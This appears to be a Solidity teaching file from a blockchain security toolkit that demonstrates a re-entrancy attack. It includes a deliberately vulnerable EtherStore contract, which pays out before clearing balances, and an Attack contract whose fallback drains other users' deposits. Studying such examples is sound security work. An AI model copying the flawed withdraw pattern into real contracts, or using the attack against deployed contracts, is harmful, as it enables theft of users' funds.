mirror of
https://github.com/autistic-symposium/blockchains-security-toolkit.git
synced 2025-06-24 14:40:40 -04:00
83 lines
2.2 KiB
Solidity
83 lines
2.2 KiB
Solidity
// SPDX-License-Identifier: MIT
|
|
pragma solidity ^0.8.17;
|
|
|
|
/*
|
|
|
|
Let's say that contract A calls contract B.
|
|
|
|
Reentracy exploit allows B to call back into A before A finishes execution.
|
|
|
|
EtherStore is a contract where you can deposit and withdraw ETH.
|
|
This contract is vulnerable to re-entrancy attack.
|
|
Let's see why.
|
|
|
|
1. Deploy EtherStore
|
|
2. Deposit 1 Ether each from Account 1 (Alice) and Account 2 (Bob) into EtherStore
|
|
3. Deploy Attack with address of EtherStore
|
|
4. Call Attack.attack sending 1 ether (using Account 3 (Eve)).
|
|
You will get 3 Ethers back (2 Ether stolen from Alice and Bob,
|
|
plus 1 Ether sent from this contract).
|
|
|
|
What happened?
|
|
Attack was able to call EtherStore.withdraw multiple times before
|
|
EtherStore.withdraw finished executing.
|
|
|
|
Here is how the functions were called
|
|
- Attack.attack
|
|
- EtherStore.deposit
|
|
- EtherStore.withdraw
|
|
- Attack fallback (receives 1 Ether)
|
|
- EtherStore.withdraw
|
|
- Attack.fallback (receives 1 Ether)
|
|
- EtherStore.withdraw
|
|
- Attack fallback (receives 1 Ether)
|
|
*/
|
|
|
|
contract EtherStore {
|
|
mapping(address => uint) public balances;
|
|
|
|
function deposit() public payable {
|
|
balances[msg.sender] += msg.value;
|
|
}
|
|
|
|
function withdraw() public {
|
|
uint bal = balances[msg.sender];
|
|
require(bal > 0);
|
|
|
|
(bool sent, ) = msg.sender.call{value: bal}("");
|
|
require(sent, "Failed to send Ether");
|
|
|
|
balances[msg.sender] = 0;
|
|
}
|
|
|
|
// Helper function to check the balance of this contract
|
|
function getBalance() public view returns (uint) {
|
|
return address(this).balance;
|
|
}
|
|
}
|
|
|
|
contract Attack {
|
|
EtherStore public etherStore;
|
|
|
|
constructor(address _etherStoreAddress) {
|
|
etherStore = EtherStore(_etherStoreAddress);
|
|
}
|
|
|
|
// Fallback is called when EtherStore sends Ether to this contract.
|
|
fallback() external payable {
|
|
if (address(etherStore).balance >= 1 ether) {
|
|
etherStore.withdraw();
|
|
}
|
|
}
|
|
|
|
function attack() external payable {
|
|
require(msg.value >= 1 ether);
|
|
etherStore.deposit{value: 1 ether}();
|
|
etherStore.withdraw();
|
|
}
|
|
|
|
// Helper function to check the balance of this contract
|
|
function getBalance() public view returns (uint) {
|
|
return address(this).balance;
|
|
}
|
|
}
|